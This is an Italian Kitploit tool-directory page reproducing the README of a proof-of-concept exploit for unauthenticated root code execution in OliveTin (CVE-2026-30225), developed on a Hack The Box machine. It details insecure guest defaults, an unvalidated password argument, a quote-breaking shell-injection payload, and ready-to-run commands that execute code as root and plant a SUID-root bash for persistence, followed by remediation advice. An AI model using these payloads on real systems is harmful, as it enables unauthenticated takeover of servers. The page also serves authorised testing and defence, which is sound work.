Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-30225-OliveTin-RCE — Proof-of-concept exploit per OliveTin RCE non autenticato (CVE-2026-30225) tramite impostazioni predefinite guest non sicure e tipi di argomento non validati, che consente di ottenere una shell root sulle istanze vulnerabili. | Kitploit
Strumenti/GitHubGitHub/hackerking24/cve-2026-30225-olivetin-rce
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
hackerking24/cve-2026-30225-olivetin-rce

CVE-2026-30225-OliveTin-RCE

Proof-of-concept exploit per OliveTin RCE non autenticato (CVE-2026-30225) tramite impostazioni predefinite guest non sicure e tipi di argomento non validati, che consente di ottenere una shell root sulle istanze vulnerabili.

Vedi Repository
2 giorni faNon ancora revisionato

OliveTin — esecuzione di azioni non autenticata → RCE (+ CVE-2026-30225)

PoC per escalation dei privilegi / esecuzione remota di codice contro istanze di OliveTin che girano con le impostazioni predefinite di guest incluse nella distribuzione. Verificato contro OliveTin 3000.10.0 in esecuzione come root (HTB: Enigma), dove produce una shell root non autenticata.

⚠️ Solo test autorizzati. Pubblicato per scopi educativi, CTF e ricerca difensiva. Usarlo contro sistemi di cui non si è proprietari o per cui non si ha esplicito permesso scritto di test è illegale. Nessuna garanzia. Vedi LICENSE.

I bug

A. Il guest può eseguire azioni (default insicuro)

La configurazione di esempio / predefinita di OliveTin include:

root@kitploit:~
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }

Con questa configurazione, un chiamante non autenticato (WhoAmI → "guest") può invocare StartActionAndWait ed eseguire qualsiasi azione. Le azioni vengono eseguite come utente del processo OliveTin — spesso root.

B. Tipi di argomento senza validazione

internal/executor/arguments.go → TypeSafetyCheck():

root@kitploit:~
case "password":               return nil
case "raw_string_multiline":   return nil
case "checkbox":               return nil

Questi tipi non vengono validati affatto. Qualsiasi azione il cui template shell: interpola un tale argomento è un punto di injection nella shell. Su Enigma il /etc/OliveTin/config.yaml attivo contiene:

root@kitploit:~
- id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - { name: db_user, type: ascii_identifier }
    - { name: db_pass, type: password }        # <-- non validato, sta dentro -p'...'
    - { name: db_name, type: ascii_identifier }

db_pass = x'; <cmd>; echo __OT_DONE__ # chiude la citazione -p'…', concatena <cmd>, e # commenta il ' <db_name> > /opt/backups/backup.sql finale.

A + B contro un OliveTin root = RCE non autenticata come root.

C. CVE-2026-30225 — drop del contesto di autenticazione in RestartAction

RestartAction ricostruisce la richiesta interna senza trasportare gli header/cookie di autenticazione del chiamante, quindi una riesecuzione risolve sempre all'utente guest (bypass ACL quando il guest è più privilegiato del chiamante). Corretto in 3000.11.1.

Nelle build ≤ 3000.10.x l'handler è inoltre implementato a metà (// FIXME) e inoltra un BindingId vuoto, quindi restituisce semplicemente action with ID "" not found e non può rieseguire nulla. test-restart riporta cosa fa effettivamente il target. Su Enigma questo percorso è un no-op — i problemi A + B sono ciò che danno l'esecuzione di codice.

Requisiti

  • Python 3.8+ e requests — pip install -r requirements.txt
  • Accesso di rete all'API OliveTin (spesso 127.0.0.1:1337; tunnel/pivot come necessario — su Enigma solo l'uid 1000 può raggiungere la porta).

Utilizzo

root@kitploit:~
./exploit.py -u http://127.0.0.1:1337 <mode>

modes:
  check                     identità, elenco azioni, argomenti iniettabili, stato CVE-2026-30225
  test-restart              sonda solo il comportamento di RestartAction
  exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']

global:
  --cookie 'olivetin-sid-local=...'   agisci come utente locale autenticato (opzionale)

Esempi

root@kitploit:~
# ricognizione
./exploit.py -u http://127.0.0.1:1337 check

# HTB Enigma: esegui un comando come root
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'

# rilascia una bash SUID-root per una shell persistente
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
#   poi:  /tmp/rb -p

StartActionAndWait restituisce lo stdout del comando in logEntry.output, quindi l'output (flag, uid=0(root), …) torna direttamente nella risposta.

Contro un target generico

check elenca ogni azione visibile e segnala quelle i cui argomenti usano un tipo senza validazione. Scegline una, determina come l'argomento è citato nella sua stringa shell: (--quote single|double|none), poi exploit --inject <arg> --cmd '<payload>'. Le azioni non mostrate su nessuna dashboard possono comunque essere eseguite per ID (--action <id>).

Rimedio

  • Aggiorna a OliveTin ≥ 3000.11.1.
  • authRequireGuestsToLogin: true e rimuovi exec dalle autorizzazioni guest/predefinite; dai a ogni ACL solo il minimo necessario.
  • Non eseguire mai OliveTin come root; usa un utente dedicato a bassi privilegi (e user: per azione dove supportato).
  • Tratta ogni argomento di azione come controllato dall'attaccante indipendentemente dal type; evita di interpolare argomenti nelle stringhe shell: — preferisci la forma argv exec: e cita/valida rigorosamente.

Riferimenti

  • GHSA-p443-p7w5-2f7f / CVE-2026-30225 — RestartAction di OliveTin esegue azioni come guest
  • Documentazione ACL / auth locale OliveTin — https://docs.olivetin.app/security/acl.html
  • internal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)

Crediti

Ricerca & PoC durante il rooting di HTB: Enigma (www-data → haris → OliveTin → root).

Scarica lo strumento